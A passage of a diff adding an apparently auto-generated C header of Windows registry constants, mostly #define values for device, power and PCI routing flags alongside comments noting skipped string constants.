REGDF_CONFLICTDMA 0x80000 +#define REGDF_MAPIRQ2TO9 0x100000 +#define REGDF_NOTVERIFIED 0x80000000 +// SKIPPED const REGSTR_VAL_APMBIOSVER: non-integer constant +// SKIPPED const REGSTR_VAL_APMFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_SLSUPPORT: non-integer constant +// SKIPPED const REGSTR_VAL_MACHINETYPE: non-integer constant +// SKIPPED const REGSTR_VAL_SETUPMACHINETYPE: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_UNKNOWN: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPC: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPCJR: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPCCONV: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPCXT: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPCXT_286: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPCAT: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_25: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_30_286: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_30: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_50: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_50Z: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_55SX: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_60: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_65SX: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_70: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_P70: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_70_80: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_80: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS2_90: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_IBMPS1: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_PHOENIX_PCAT: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_HP_VECTRA: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_ATT_PC: non-integer constant +// SKIPPED const REGSTR_MACHTYPE_ZENITH_PC: non-integer constant +// SKIPPED const REGSTR_VAL_APMMENUSUSPEND: non-integer constant +#define APMMENUSUSPEND_DISABLED 0x0 +#define APMMENUSUSPEND_ENABLED 0x1 +#define APMMENUSUSPEND_UNDOCKED 0x2 +#define APMMENUSUSPEND_NOCHANGE 0x80 +// SKIPPED const REGSTR_VAL_APMACTIMEOUT: non-integer constant +// SKIPPED const REGSTR_VAL_APMBATTIMEOUT: non-integer constant +#define APMTIMEOUT_DISABLED 0x0 +// SKIPPED const REGSTR_VAL_APMSHUTDOWNPOWER: non-integer constant +// SKIPPED const REGSTR_VAL_BUSTYPE: non-integer constant +// SKIPPED const REGSTR_VAL_CPU: non-integer constant +// SKIPPED const REGSTR_VAL_NDP: non-integer constant +// SKIPPED const REGSTR_VAL_PNPBIOSVER: non-integer constant +// SKIPPED const REGSTR_VAL_PNPSTRUCOFFSET: non-integer constant +// SKIPPED const REGSTR_VAL_PCIBIOSVER: non-integer constant +// SKIPPED const REGSTR_VAL_HWMECHANISM: non-integer constant +// SKIPPED const REGSTR_VAL_LASTPCIBUSNUM: non-integer constant +// SKIPPED const REGSTR_VAL_CONVMEM: non-integer constant +// SKIPPED const REGSTR_VAL_EXTMEM: non-integer constant +// SKIPPED const REGSTR_VAL_COMPUTERNAME: non-integer constant +// SKIPPED const REGSTR_VAL_BIOSNAME: non-integer constant +// SKIPPED const REGSTR_VAL_BIOSVERSION: non-integer constant +// SKIPPED const REGSTR_VAL_BIOSDATE: non-integer constant +// SKIPPED const REGSTR_VAL_MODEL: non-integer constant +// SKIPPED const REGSTR_VAL_SUBMODEL: non-integer constant +// SKIPPED const REGSTR_VAL_REVISION: non-integer constant +// SKIPPED const REGSTR_VAL_FIFODEPTH: non-integer constant +// SKIPPED const REGSTR_VAL_RDINTTHRESHOLD: non-integer constant +// SKIPPED const REGSTR_VAL_WRINTTHRESHOLD: non-integer constant +// SKIPPED const REGSTR_VAL_PRIORITY: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVER: non-integer constant +// SKIPPED const REGSTR_VAL_FUNCDESC: non-integer constant +// SKIPPED const REGSTR_VAL_FORCEDCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_CONFIGFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_CSCONFIGFLAGS: non-integer constant +#define CSCONFIGFLAG_BITS 0x7 +#define CSCONFIGFLAG_DISABLED 0x1 +#define CSCONFIGFLAG_DO_NOT_CREATE 0x2 +#define CSCONFIGFLAG_DO_NOT_START 0x4 +#define DMSTATEFLAG_APPLYTOALL 0x1 +// SKIPPED const REGSTR_VAL_ROOT_DEVNODE: non-integer constant +// SKIPPED const REGSTR_VAL_RESERVED_DEVNODE: non-integer constant +// SKIPPED const REGSTR_PATH_MULTI_FUNCTION: non-integer constant +// SKIPPED const REGSTR_VAL_RESOURCE_MAP: non-integer constant +// SKIPPED const REGSTR_PATH_CHILD_PREFIX: non-integer constant +#define NUM_RESOURCE_MAP 0x100 +// SKIPPED const REGSTR_VAL_MF_FLAGS: non-integer constant +#define MF_FLAGS_EVEN_IF_NO_RESOURCE 0x1 +#define MF_FLAGS_NO_CREATE_IF_NO_RESOURCE 0x2 +#define MF_FLAGS_FILL_IN_UNKNOWN_RESOURCE 0x4 +#define MF_FLAGS_CREATE_BUT_NO_SHOW_DISABLED 0x8 +// SKIPPED const REGSTR_VAL_EISA_RANGES: non-integer constant +// SKIPPED const REGSTR_VAL_EISA_FUNCTIONS: non-integer constant +// SKIPPED const REGSTR_VAL_EISA_FUNCTIONS_MASK: non-integer constant +// SKIPPED const REGSTR_VAL_EISA_FLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_EISA_SIMULATE_INT15: non-integer constant +#define EISAFLAG_NO_IO_MERGE 0x1 +#define EISAFLAG_SLOT_IO_FIRST 0x2 +#define EISA_NO_MAX_FUNCTION 0xff +#define NUM_EISA_RANGES 0x4 +// SKIPPED const REGSTR_VAL_DRVDESC: non-integer constant +// SKIPPED const REGSTR_VAL_DEVLOADER: non-integer constant +// SKIPPED const REGSTR_VAL_STATICVXD: non-integer constant +// SKIPPED const REGSTR_VAL_PROPERTIES: non-integer constant +// SKIPPED const REGSTR_VAL_MANUFACTURER: non-integer constant +// SKIPPED const REGSTR_VAL_EXISTS: non-integer constant +// SKIPPED const REGSTR_VAL_CMENUMFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_CMDRIVFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_ENUMERATOR: non-integer constant +// SKIPPED const REGSTR_VAL_DEVICEDRIVER: non-integer constant +// SKIPPED const REGSTR_VAL_PORTNAME: non-integer constant +// SKIPPED const REGSTR_VAL_INFPATH: non-integer constant +// SKIPPED const REGSTR_VAL_INFSECTION: non-integer constant +// SKIPPED const REGSTR_VAL_INFSECTIONEXT: non-integer constant +// SKIPPED const REGSTR_VAL_POLLING: non-integer constant +// SKIPPED const REGSTR_VAL_DONTLOADIFCONFLICT: non-integer constant +// SKIPPED const REGSTR_VAL_PORTSUBCLASS: non-integer constant +// SKIPPED const REGSTR_VAL_NETCLEAN: non-integer constant +// SKIPPED const REGSTR_VAL_IDE_NO_SERIALIZE: non-integer constant +// SKIPPED const REGSTR_VAL_NOCMOSORFDPT: non-integer constant +// SKIPPED const REGSTR_VAL_COMVERIFYBASE: non-integer constant +// SKIPPED const REGSTR_VAL_MATCHINGDEVID: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVERDATE: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVERDATEDATA: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVERVERSION: non-integer constant +// SKIPPED const REGSTR_VAL_LOCATION_INFORMATION_OVERRIDE: non-integer constant +// SKIPPED const REGSTR_KEY_OVERRIDE: non-integer constant +// SKIPPED const REGSTR_VAL_CONFIGMG: non-integer constant +// SKIPPED const REGSTR_VAL_SYSDM: non-integer constant +// SKIPPED const REGSTR_VAL_SYSDMFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_PRIVATE: non-integer constant +// SKIPPED const REGSTR_VAL_PRIVATEFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_DETECT: non-integer constant +// SKIPPED const REGSTR_VAL_DETECTFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_ASKFORCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_ASKFORCONFIGFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_WAITFORUNDOCK: non-integer constant +// SKIPPED const REGSTR_VAL_WAITFORUNDOCKFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_REMOVEROMOKAY: non-integer constant +// SKIPPED const REGSTR_VAL_REMOVEROMOKAYFUNC: non-integer constant +// SKIPPED const REGSTR_VAL_CURCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_FRIENDLYNAME: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENTCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_MAP: non-integer constant +// SKIPPED const REGSTR_VAL_ID: non-integer constant +// SKIPPED const REGSTR_VAL_DOCKED: non-integer constant +// SKIPPED const REGSTR_VAL_CHECKSUM: non-integer constant +// SKIPPED const REGSTR_VAL_HWDETECT: non-integer constant +// SKIPPED const REGSTR_VAL_INHIBITRESULTS: non-integer constant +// SKIPPED const REGSTR_VAL_PROFILEFLAGS: non-integer constant +// SKIPPED const REGSTR_KEY_PCMCIA: non-integer constant +// SKIPPED const REGSTR_KEY_PCUNKNOWN: non-integer constant +// SKIPPED const REGSTR_VAL_PCSSDRIVER: non-integer constant +// SKIPPED const REGSTR_KEY_PCMTD: non-integer constant +// SKIPPED const REGSTR_VAL_PCMTDRIVER: non-integer constant +// SKIPPED const REGSTR_VAL_HARDWAREID: non-integer constant +// SKIPPED const REGSTR_VAL_INSTALLER: non-integer constant +// SKIPPED const REGSTR_VAL_INSTALLER_32: non-integer constant +// SKIPPED const REGSTR_VAL_INSICON: non-integer constant +// SKIPPED const REGSTR_VAL_ENUMPROPPAGES: non-integer constant +// SKIPPED const REGSTR_VAL_ENUMPROPPAGES_32: non-integer constant +// SKIPPED const REGSTR_VAL_BASICPROPERTIES: non-integer constant +// SKIPPED const REGSTR_VAL_BASICPROPERTIES_32: non-integer constant +// SKIPPED const REGSTR_VAL_COINSTALLERS_32: non-integer constant +// SKIPPED const REGSTR_VAL_PRIVATEPROBLEM: non-integer constant +// SKIPPED const REGSTR_KEY_CURRENT: non-integer constant +// SKIPPED const REGSTR_KEY_DEFAULT: non-integer constant +// SKIPPED const REGSTR_KEY_MODES: non-integer constant +// SKIPPED const REGSTR_VAL_MODE: non-integer constant +// SKIPPED const REGSTR_VAL_BPP: non-integer constant +// SKIPPED const REGSTR_VAL_HRES: non-integer constant +// SKIPPED const REGSTR_VAL_VRES: non-integer constant +// SKIPPED const REGSTR_VAL_FONTSIZE: non-integer constant +// SKIPPED const REGSTR_VAL_DRV: non-integer constant +// SKIPPED const REGSTR_VAL_GRB: non-integer constant +// SKIPPED const REGSTR_VAL_VDD: non-integer constant +// SKIPPED const REGSTR_VAL_VER: non-integer constant +// SKIPPED const REGSTR_VAL_MAXRES: non-integer constant +// SKIPPED const REGSTR_VAL_DPMS: non-integer constant +// SKIPPED const REGSTR_VAL_RESUMERESET: non-integer constant +// SKIPPED const REGSTR_KEY_SYSTEM: non-integer constant +// SKIPPED const REGSTR_KEY_USER: non-integer constant +// SKIPPED const REGSTR_VAL_DPI: non-integer constant +// SKIPPED const REGSTR_VAL_PCICOPTIONS: non-integer constant +#define PCIC_DEFAULT_IRQMASK 0x4eb8 +#define PCIC_DEFAULT_NUMSOCKETS 0x0 +// SKIPPED const REGSTR_VAL_PCICIRQMAP: non-integer constant +// SKIPPED const REGSTR_PATH_APPEARANCE: non-integer constant +// SKIPPED const REGSTR_PATH_LOOKSCHEMES: non-integer constant +// SKIPPED const REGSTR_VAL_CUSTOMCOLORS: non-integer constant +// SKIPPED const REGSTR_PATH_SCREENSAVE: non-integer constant +// SKIPPED const REGSTR_VALUE_USESCRPASSWORD: non-integer constant +// SKIPPED const REGSTR_VALUE_SCRPASSWORD: non-integer constant +// SKIPPED const REGSTR_VALUE_LOWPOWERTIMEOUT: non-integer constant +// SKIPPED const REGSTR_VALUE_POWEROFFTIMEOUT: non-integer constant +// SKIPPED const REGSTR_VALUE_LOWPOWERACTIVE: non-integer constant +// SKIPPED const REGSTR_VALUE_POWEROFFACTIVE: non-integer constant +// SKIPPED const REGSTR_PATH_WINDOWSAPPLETS: non-integer constant +// SKIPPED const REGSTR_PATH_SYSTRAY: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTRAYSVCS: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTRAYBATFLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTRAYPCCARDFLAGS: non-integer constant +// SKIPPED const REGSTR_PATH_NETWORK_USERSETTINGS: non-integer constant +// SKIPPED const REGSTR_KEY_NETWORK_PERSISTENT: non-integer constant +// SKIPPED const REGSTR_KEY_NETWORK_RECENT: non-integer constant +// SKIPPED const REGSTR_VAL_REMOTE_PATH: non-integer constant +// SKIPPED const REGSTR_VAL_USER_NAME: non-integer constant +// SKIPPED const REGSTR_VAL_PROVIDER_NAME: non-integer constant +// SKIPPED const REGSTR_VAL_CONNECTION_TYPE: non-integer constant +// SKIPPED const REGSTR_VAL_UPGRADE: non-integer constant +// SKIPPED const REGSTR_KEY_LOGON: non-integer constant +// SKIPPED const REGSTR_VAL_MUSTBEVALIDATED: non-integer constant +// SKIPPED const REGSTR_VAL_RUNLOGINSCRIPT: non-integer constant +// SKIPPED const REGSTR_KEY_NETWORKPROVIDER: non-integer constant +// SKIPPED const REGSTR_VAL_AUTHENT_AGENT: non-integer constant +// SKIPPED const REGSTR_VAL_PREFREDIR: non-integer constant +// SKIPPED const REGSTR_VAL_AUTOSTART: non-integer constant +// SKIPPED const REGSTR_VAL_AUTOLOGON: non-integer constant +// SKIPPED const REGSTR_VAL_NETCARD: non-integer constant +// SKIPPED const REGSTR_VAL_TRANSPORT: non-integer constant +// SKIPPED const REGSTR_VAL_DYNAMIC: non-integer constant +// SKIPPED const REGSTR_VAL_TRANSITION: non-integer constant +// SKIPPED const REGSTR_VAL_STATICDRIVE: non-integer constant +// SKIPPED const REGSTR_VAL_LOADHI: non-integer constant +// SKIPPED const REGSTR_VAL_LOADRMDRIVERS: non-integer constant +// SKIPPED const REGSTR_VAL_SETUPN: non-integer constant +// SKIPPED const REGSTR_VAL_SETUPNPATH: non-integer constant +// SKIPPED const REGSTR_VAL_WRKGRP_FORCEMAPPING: non-integer constant +// SKIPPED const REGSTR_VAL_WRKGRP_REQUIRED: non-integer constant +// SKIPPED const REGSTR_PATH_CURRENT_CONTROL_SET: non-integer constant +// SKIPPED const REGSTR_VAL_CURRENT_USER: non-integer constant +// SKIPPED const REGSTR_PATH_PWDPROVIDER: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_PATH: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_DESC: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_CHANGEPWD: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_CHANGEPWDHWND: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_GETPWDSTATUS: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_ISNP: non-integer constant +// SKIPPED const REGSTR_VAL_PWDPROVIDER_CHANGEORDER: non-integer constant +// SKIPPED const REGSTR_PATH_POLICIES: non-integer constant +// SKIPPED const REGSTR_PATH_UPDATE: non-integer constant +// SKIPPED const REGSTR_VALUE_ENABLE: non-integer constant +// SKIPPED const REGSTR_VALUE_VERBOSE: non-integer constant +// SKIPPED const REGSTR_VALUE_NETPATH: non-integer constant +// SKIPPED const REGSTR_VALUE_DEFAULTLOC: non-integer constant +// SKIPPED const REGSTR_KEY_NETWORK: non-integer constant +// SKIPPED const REGSTR_KEY_PRINTERS: non-integer constant +// SKIPPED const REGSTR_KEY_WINOLDAPP: non-integer constant +// SKIPPED const REGSTR_KEY_EXPLORER: non-integer constant +// SKIPPED const REGSTR_VAL_NOFILESHARING: non-integer constant +// SKIPPED const REGSTR_VAL_NOPRINTSHARING: non-integer constant +// SKIPPED const REGSTR_VAL_NOFILESHARINGCTRL: non-integer constant +// SKIPPED const REGSTR_VAL_NOPRINTSHARINGCTRL: non-integer constant +// SKIPPED const REGSTR_VAL_HIDESHAREPWDS: non-integer constant +// SKIPPED const REGSTR_VAL_DISABLEPWDCACHING: non-integer constant +// SKIPPED const REGSTR_VAL_ALPHANUMPWDS: non-integer constant +// SKIPPED const REGSTR_VAL_NETSETUP_DISABLE: non-integer constant +// SKIPPED const REGSTR_VAL_NETSETUP_NOCONFIGPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_NETSETUP_NOIDPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_NETSETUP_NOSECURITYPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTEMCPL_NOVIRTMEMPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTEMCPL_NODEVMGRPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTEMCPL_NOCONFIGPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SYSTEMCPL_NOFILESYSPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPCPL_NODISPCPL: non-integer constant +// SKIPPED const REGSTR_VAL_DISPCPL_NOBACKGROUNDPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPCPL_NOSCRSAVPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPCPL_NOAPPEARANCEPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_DISPCPL_NOSETTINGSPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SECCPL_NOSECCPL: non-integer constant +// SKIPPED const REGSTR_VAL_SECCPL_NOPWDPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SECCPL_NOADMINPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_SECCPL_NOPROFILEPAGE: non-integer constant +// SKIPPED const REGSTR_VAL_PRINTERS_HIDETABS: non-integer constant +// SKIPPED const REGSTR_VAL_PRINTERS_NODELETE: non-integer constant +// SKIPPED const REGSTR_VAL_PRINTERS_NOADD: non-integer constant +// SKIPPED const REGSTR_VAL_WINOLDAPP_DISABLED: non-integer constant +// SKIPPED const REGSTR_VAL_WINOLDAPP_NOREALMODE: non-integer constant +// SKIPPED const REGSTR_VAL_NOENTIRENETWORK: non-integer constant +// SKIPPED const REGSTR_VAL_NOWORKGROUPCONTENTS: non-integer constant +// SKIPPED const REGSTR_VAL_UNDOCK_WITHOUT_LOGON: non-integer constant +// SKIPPED const REGSTR_VAL_MINPWDLEN: non-integer constant +// SKIPPED const REGSTR_VAL_PWDEXPIRATION: non-integer constant +// SKIPPED const REGSTR_VAL_WIN31PROVIDER: non-integer constant +// SKIPPED const REGSTR_VAL_DISABLEREGTOOLS: non-integer constant +// SKIPPED const REGSTR_PATH_WINLOGON: non-integer constant +// SKIPPED const REGSTR_VAL_LEGALNOTICECAPTION: non-integer constant +// SKIPPED const REGSTR_VAL_LEGALNOTICETEXT: non-integer constant +// SKIPPED const REGSTR_VAL_DRIVE_SPINDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_SHUTDOWN_FLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_RESTRICTRUN: non-integer constant +// SKIPPED const REGSTR_KEY_POL_USERS: non-integer constant +// SKIPPED const REGSTR_KEY_POL_COMPUTERS: non-integer constant +// SKIPPED const REGSTR_KEY_POL_USERGROUPS: non-integer constant +// SKIPPED const REGSTR_KEY_POL_DEFAULT: non-integer constant +// SKIPPED const REGSTR_KEY_POL_USERGROUPDATA: non-integer constant +// SKIPPED const REGSTR_PATH_TIMEZONE: non-integer constant +// SKIPPED const REGSTR_VAL_TZBIAS: non-integer constant +// SKIPPED const REGSTR_VAL_TZDLTBIAS: non-integer constant +// SKIPPED const REGSTR_VAL_TZSTDBIAS: non-integer constant +// SKIPPED const REGSTR_VAL_TZACTBIAS: non-integer constant +// SKIPPED const REGSTR_VAL_TZDLTFLAG: non-integer constant +// SKIPPED const REGSTR_VAL_TZSTDSTART: non-integer constant +// SKIPPED const REGSTR_VAL_TZDLTSTART: non-integer constant +// SKIPPED const REGSTR_VAL_TZDLTNAME: non-integer constant +// SKIPPED const REGSTR_VAL_TZSTDNAME: non-integer constant +// SKIPPED const REGSTR_VAL_TZNOCHANGESTART: non-integer constant +// SKIPPED const REGSTR_VAL_TZNOCHANGEEND: non-integer constant +// SKIPPED const REGSTR_VAL_TZNOAUTOTIME: non-integer constant +// SKIPPED const REGSTR_PATH_FLOATINGPOINTPROCESSOR: non-integer constant +// SKIPPED const REGSTR_PATH_FLOATINGPOINTPROCESSOR0: non-integer constant +// SKIPPED const REGSTR_PATH_COMPUTRNAME: non-integer constant +// SKIPPED const REGSTR_VAL_COMPUTRNAME: non-integer constant +// SKIPPED const REGSTR_PATH_SHUTDOWN: non-integer constant +// SKIPPED const REGSTR_VAL_FORCEREBOOT: non-integer constant +// SKIPPED const REGSTR_VAL_SETUPPROGRAMRAN: non-integer constant +// SKIPPED const REGSTR_VAL_DOES_POLLING: non-integer constant +// SKIPPED const REGSTR_PATH_KNOWNDLLS: non-integer constant +// SKIPPED const REGSTR_PATH_KNOWN16DLLS: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKVERDLLS: non-integer constant +// SKIPPED const REGSTR_PATH_WARNVERDLLS: non-integer constant +// SKIPPED const REGSTR_PATH_HACKINIFILE: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKBADAPPS: non-integer constant +// SKIPPED const REGSTR_PATH_APPPATCH: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKBADAPPS400: non-integer constant +// SKIPPED const REGSTR_PATH_KNOWNVXDS: non-integer constant +// SKIPPED const REGSTR_VAL_UNINSTALLER_DISPLAYNAME: non-integer constant +// SKIPPED const REGSTR_VAL_UNINSTALLER_COMMANDLINE: non-integer constant +// SKIPPED const REGSTR_VAL_REINSTALL_DISPLAYNAME: non-integer constant +// SKIPPED const REGSTR_VAL_REINSTALL_STRING: non-integer constant +// SKIPPED const REGSTR_VAL_REINSTALL_DEVICEINSTANCEIDS: non-integer constant +// SKIPPED const REGSTR_PATH_DESKTOP: non-integer constant +// SKIPPED const REGSTR_PATH_MOUSE: non-integer constant +// SKIPPED const REGSTR_PATH_KEYBOARD: non-integer constant +// SKIPPED const REGSTR_PATH_COLORS: non-integer constant +// SKIPPED const REGSTR_PATH_SOUND: non-integer constant +// SKIPPED const REGSTR_PATH_METRICS: non-integer constant +// SKIPPED const REGSTR_PATH_ICONS: non-integer constant +// SKIPPED const REGSTR_PATH_CURSORS: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKDISK: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKDISKSET: non-integer constant +// SKIPPED const REGSTR_PATH_CHECKDISKUDRVS: non-integer constant +// SKIPPED const REGSTR_PATH_FAULT: non-integer constant +// SKIPPED const REGSTR_VAL_FAULT_LOGFILE: non-integer constant +// SKIPPED const REGSTR_PATH_AEDEBUG: non-integer constant +// SKIPPED const REGSTR_VAL_AEDEBUG_DEBUGGER: non-integer constant +// SKIPPED const REGSTR_VAL_AEDEBUG_AUTO: non-integer constant +// SKIPPED const REGSTR_PATH_GRPCONV: non-integer constant +// SKIPPED const REGSTR_VAL_REGITEMDELETEMESSAGE: non-integer constant +// SKIPPED const REGSTR_PATH_LASTCHECK: non-integer constant +// SKIPPED const REGSTR_PATH_LASTOPTIMIZE: non-integer constant +// SKIPPED const REGSTR_PATH_LASTBACKUP: non-integer constant +// SKIPPED const REGSTR_PATH_CHKLASTCHECK: non-integer constant +// SKIPPED const REGSTR_PATH_CHKLASTSURFAN: non-integer constant +#define DTRESULTOK 0x0 +#define DTRESULTFIX 0x1 +#define DTRESULTPROB 0x2 +#define DTRESULTPART 0x3 +// SKIPPED const REGSTR_KEY_SHARES: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_FLAGS: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_TYPE: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_PATH: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_REMARK: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_RW_PASS: non-integer constant +// SKIPPED const REGSTR_VAL_SHARES_RO_PASS: non-integer constant +// SKIPPED const REGSTR_PATH_PRINT: non-integer constant +// SKIPPED const REGSTR_PATH_PRINTERS: non-integer constant +// SKIPPED const REGSTR_PATH_PROVIDERS: non-integer constant +// SKIPPED const REGSTR_PATH_MONITORS: non-integer constant +// SKIPPED const REGSTR_PATH_ENVIRONMENTS: non-integer constant +// SKIPPED const REGSTR_VAL_START_ON_BOOT: non-integer constant +// SKIPPED const REGSTR_VAL_PRINTERS_MASK: non-integer constant +// SKIPPED const REGSTR_VAL_DOS_SPOOL_MASK: non-integer constant +// SKIPPED const REGSTR_KEY_CURRENT_ENV: non-integer constant +// SKIPPED const REGSTR_KEY_DRIVERS: non-integer constant +// SKIPPED const REGSTR_KEY_PRINT_PROC: non-integer constant +// SKIPPED const REGSTR_PATH_EVENTLABELS: non-integer constant +// SKIPPED const REGSTR_PATH_SCHEMES: non-integer constant +// SKIPPED const REGSTR_PATH_MULTIMEDIA_AUDIO: non-integer constant +// SKIPPED const REGSTR_KEY_JOYCURR: non-integer constant +// SKIPPED const REGSTR_KEY_JOYSETTINGS: non-integer constant +// SKIPPED const REGSTR_VAL_JOYUSERVALUES: non-integer constant +// SKIPPED const REGSTR_VAL_JOYCALLOUT: non-integer constant +// SKIPPED const REGSTR_VAL_JOYNCONFIG: non-integer constant +// SKIPPED const REGSTR_VAL_JOYNOEMNAME: non-integer constant +// SKIPPED const REGSTR_VAL_JOYNOEMCALLOUT: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCALLOUT: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMNAME: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMDATA: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMXYLABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMZLABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMRLABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMPOVLABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMULABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMVLABEL: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMTESTMOVEDESC: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMTESTBUTTONDESC: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMTESTMOVECAP: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMTESTBUTTONCAP: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMTESTWINCAP: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCALCAP: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCALWINCAP: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL1: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL2: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL3: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL4: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL5: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL6: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL7: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL8: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL9: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL10: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL11: non-integer constant +// SKIPPED const REGSTR_VAL_JOYOEMCAL12: non-integer constant +// SKIPPED const REGSTR_VAL_AUDIO_BITMAP: non-integer constant +// SKIPPED const REGSTR_VAL_AUDIO_ICON: non-integer constant +// SKIPPED const REGSTR_PATH_DEVICEINSTALLER: non-integer constant +// SKIPPED const REGSTR_PATH_DIFX: non-integer constant +// SKIPPED const REGSTR_VAL_SEARCHOPTIONS: non-integer constant +// SKIPPED const REGSTR_PATH_BIOSINFO: non-integer constant +// SKIPPED const REGSTR_PATH_PCIIR: non-integer constant +// SKIPPED const REGSTR_VAL_OPTIONS: non-integer constant +// SKIPPED const REGSTR_VAL_STAT: non-integer constant +// SKIPPED const REGSTR_VAL_TABLE_STAT: non-integer constant +// SKIPPED const REGSTR_VAL_MINIPORT_STAT: non-integer constant +#define PIR_OPTION_ENABLED 0x1 +#define PIR_OPTION_REGISTRY 0x2 +#define PIR_OPTION_MSSPEC 0x4 +#define PIR_OPTION_REALMODE 0x8 +#define PIR_OPTION_DEFAULT 0xf +#define PIR_STATUS_ERROR 0x0 +#define PIR_STATUS_ENABLED 0x1 +#define PIR_STATUS_DISABLED 0x2 +#define PIR_STATUS_MAX 0x3 +#define PIR_STATUS_TABLE_REGISTRY 0x0 +#define PIR_STATUS_TABLE_MSSPEC 0x1 +#define PIR_STATUS_TABLE_REALMODE 0x2 +#define 